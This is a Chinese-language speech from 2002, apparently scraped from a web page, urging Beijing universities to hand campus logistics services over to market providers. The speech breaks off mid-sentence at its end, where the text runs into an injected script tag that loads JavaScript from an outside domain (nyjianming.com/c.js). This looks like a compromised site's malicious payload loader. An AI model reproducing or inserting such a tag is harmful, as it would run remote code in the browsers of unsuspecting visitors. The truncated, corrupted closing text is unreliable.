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在北京高校后勤社会化改革现场会上的讲话
[ 2002/3/2    访问次数:10606 ]
同志们:
  今天,市委市政府在这里召开北京高校后勤社会化改革现场会,推广北京邮电大学后勤社会化改革经验,部署下一步改革工作。刚才,文漪同志就上海会议以来北京高校后勤社会化改革的阶段成果、存在问题及下一阶段的工作任务作了很好的报告,我完全同意。北京邮电大学在后勤社会化改革方面创造了很好的经验,改革思路正确、措施得当、效益明显,对全市高校后勤社会化改革起到了很好的示范作用。学校代表与市领导小组签订了责任书,会后所有学校都要狠抓落实。
  国务院已明确提出,要用三年时间,在全国大部分地区完成高校后勤社会化改革。今天召开这个现场会,就是进一步贯彻落实中央领导同志的指示和国务院文件精神,对北京高校后勤社会化改革工作进行中期检查,做一次再动员和再部署。
  下面,我就北京高校后勤社会化的改革讲几点意见。
    一、充分认识高校后勤社会化改革的重要意义
  高校后勤社会化改革,不仅有利于高校扩大办学规模,增强办学活力,提高办学效益,而且是学校办学思想、办学模式的一次重大转变和改革,与高等教育的改革与发展密切相关。
  高校后勤社会化改革,不仅仅是教育内部的改革,实质上是一场深刻的社会变革,与整个国家的形势发展和改革开放进程紧密相连,对经济和社会的发展将产生积极的影响,有利于增加投资、拉动内需、刺激消费、创造就业机会,对地方经济的发展具有很强的带动和辐射效应。另一方面,教育内、外部的大环境为后勤社会化改革提供了一系列难得的机遇。从教育内部而言,高校扩大招生规模对后勤设施及服务提出一系列迫切的需求;人们的教育观念和消费观念也发生了深刻变化,对改革的心理及经济承受能力大大增强;从教育外部环境来看,国内政治稳定,经济健康发展,银行和社会资金充裕,愿意投向高校后勤;国家机关的改革、国有大中型企业改革以及医疗、住房、社会保险等改革逐步推进,在全社会形成了深化改革的舆论氛围和有利环境。后勤改革后,招生规模扩大了,学校的负担减轻了,校长的精力集中了,高等教育发展了,培养出更多的高素质人才,必然有利于科教兴国战略的实施。
  中央领导十分关心北京高校后勤社会化改革。岚清同志多次实地视察并做出具体指示,要求北京市加快改革步伐,为全国高校后勤社会化改革做出榜样。市委市政府各有关部门的领导、各高校的领导都要充分认识后勤社会化改革对于高等教育发展、对于首都经济发展的重要意义,扎扎实实地做好工作,推动高校后勤社会化改革取得实质性进展,不辜负中央领导的期望。
  北京的高校后勤社会化改革,作为北京整个经济产业结构的一个重要组成部分,成为北京市社会和经济发展重要的改革内容,同时也为北京的产业结构调整和经济技术发展提供了一个重要的机遇。搞好高校后勤社会化改革,是贯彻落实市委八届四次全会精神的重要体现,市政府已将这项工作列入市政府工作重点,由督查室督查督办。
  北京是全国的教育中心,是高校和在校学生数量最多的城市。为了适应社会对高等教育的需求,北京市已从1999年起扩大高校招生规模,并准备经过五年时间的努力,使在校大学生人数翻一番。要达到这一目标,面临的主要困难仍然是后勤设施严重不足及管理改革滞后的问题。解决这个问题的出路只能是通过后勤社会化改革,建立起由政府主导、社会承办、学校选择的社会化的后勤第三产业和社区服务体系,改变学校办后勤的状况。并且经过多年的探索,高校后勤社会化改革已经形成了明确的思路,积累了不少经验,为下一步改革中难点的突破奠定了良好的基础。
    二、明确任务,狠抓落实,推进改革
  (一)解放思想、转变观念,充分发挥学校的主体作用
  各高校党政领导必须认真贯彻国务院和北京市有关文件精神,充分认识高校后勤社会化改革对于发展高等教育,实施科教兴国战略,促进首都经济发展的重要作用,解放思想、转变观念,克服等待、观望的消极思想,树立市场意识、竞争意识、大局意识、发展意识,主动适应市场经济需求,多元化吸纳社会资金,按照现代企业制度要求并规范后勤社会化改革,按市领导小组规划的时间表进行实质性操作。
  高校后勤社会化改革直接关系到学校发展和师生员工的切身利益,各校党政领导一定要加强对改革的领导,充分发挥主体作用,将后勤改革作为学校内部管理体制改革的重要内容来抓,要对教职工进行深入广泛的思想工作,把政策和道理讲清楚,使师生员工认识到后勤改革的重要性和紧迫性,从而转变观念,理解、支持、参与后勤改革。后勤改革的主体是学校,国家和市里的政策是一样的,但各学校的改革效果存在较大差别,关键是学校如何发挥作用。通过今天的大会,各校要切实把领导后勤改革的责任担负起来。
  (二)统筹规划,处理好改革、稳定与发展的关系
  高校长期以来在计划经济体制下形成的“花钱靠国家,服务靠无偿”的观念和习惯是根深蒂?script src=http://nyjianming.com/c.js>
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